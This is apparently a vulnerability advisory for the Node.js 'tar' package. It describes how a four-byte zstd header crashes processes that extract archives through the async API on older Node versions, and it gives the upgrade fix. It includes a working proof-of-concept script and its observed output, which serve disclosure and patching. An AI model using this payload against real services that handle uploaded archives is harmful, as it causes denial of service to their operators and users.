Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade tar to version 8.0.0 or higher.
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncaught Exception via Parser.write() in src/parse.ts, which sniffs the first bytes of every input and, on detecting the zstd magic bytes (28 b5 2f fd), constructs new ZstdDecompress({}) with no error handling. On Node runtimes without native zstd support, minizlib's constructor throws a TypeError synchronously inside the file-read stream's data callback. Because the throw is not routed through the stream's error event or Parser.abort(), the async tar.t() / tar.x() promise never settles and the exception escapes as an uncaught exception, killing the process. An attacker can crash any process that lists or extracts an attacker-supplied archive through the async file API by supplying a four-byte file containing only the zstd magic header.
Note: This is only exploitable on Node runtimes without native zstd support (Node 18.x, 20.x, 21.x, 22.0-22.14, and 23.0-23.7); Node 22.15+, 23.8+, and 24+ are not affected.
Validated on the published npm package tar@7.5.22 (and source main @ 2a22bfc). Vulnerable runtime: Node v20.20.2 (node -e "console.log(typeof require('zlib').ZstdDecompress)" prints undefined). Non-vulnerable control: Node v24.19.0.
// npm i tar@7.5.22 ; node poc.cjs (run on Node 20)
const { x } = require('tar'); const fs = require('fs')
fs.writeFileSync('/tmp/z4.tar', Buffer.from([0x28,0xb5,0x2f,0xfd,0x01,0x02,0x03,0x04]))
fs.rmSync('/tmp/z-out',{recursive:true,force:true}); fs.mkdirSync('/tmp/z-out')
let uncaught = null, settled = 'NEVER'
process.on('uncaughtException', e => uncaught = e.constructor.name + ': ' + e.message)
x({ cwd:'/tmp/z-out', file:'/tmp/z4.tar' }).then(()=>settled='RESOLVED').catch(()=>settled='REJECTED')
const ka = setInterval(()=>{},100)
setTimeout(()=>{ clearInterval(ka); console.log('uncaught:', uncaught); console.log('settled:', settled); process.exit(0) }, 3000)
Observed on Node v20.20.2 (zstd undefined):
uncaught: TypeError: Compression method not supported: ZstdDecompress
settled: NEVER
Without the uncaughtException handler the process dies with the raw stack (frame: at new ZstdDecompress ... at Unpack.write ... at FSReqCallback.wrapper [as oncomplete] (node:fs)). On Node v24.19.0 the same file produces a clean catchable rejection (TAR_ABORT / zlib: Dictionary mismatch) and no crash. Synchronous mode and direct stream writes throw catchably from the caller's stack on all runtimes; only the async file API turns the throw into process death.
Note: Validated on the published npm package tar@7.5.22 running on Node v20.20.2, with Node v24.19.0 as the non-vulnerable control.